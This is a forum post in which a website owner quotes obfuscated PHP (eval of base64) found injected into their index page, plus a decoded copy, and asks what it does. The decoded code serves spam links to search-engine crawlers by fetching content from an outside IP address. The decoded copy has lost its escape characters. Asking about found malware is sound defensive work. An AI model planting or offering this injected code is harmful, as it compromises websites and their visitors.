Please help understand this code

Posted on 16th Feb 2014 by admin

I noticed the index page on my site was modified this morning and found this code inserted at the bottom of the page:

Code: <!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));

I printed out what is decoded:
Code: if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or stripos($_SERVER['HTTP_USER_AGENT'], 'live')) { $r = ''; if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) . " HTTP/1.0rnHost: 91.207.4.18rnrn")) while( $l = fread($f, 1024)) $r .= $l; @fclose($f); $p=strpos($r,"rnrn"); echo substr($r,$p+4); }

Can someone please interpret what this code is trying to do? I noticed that the IP address is coming from the Ukraine.

Thank you

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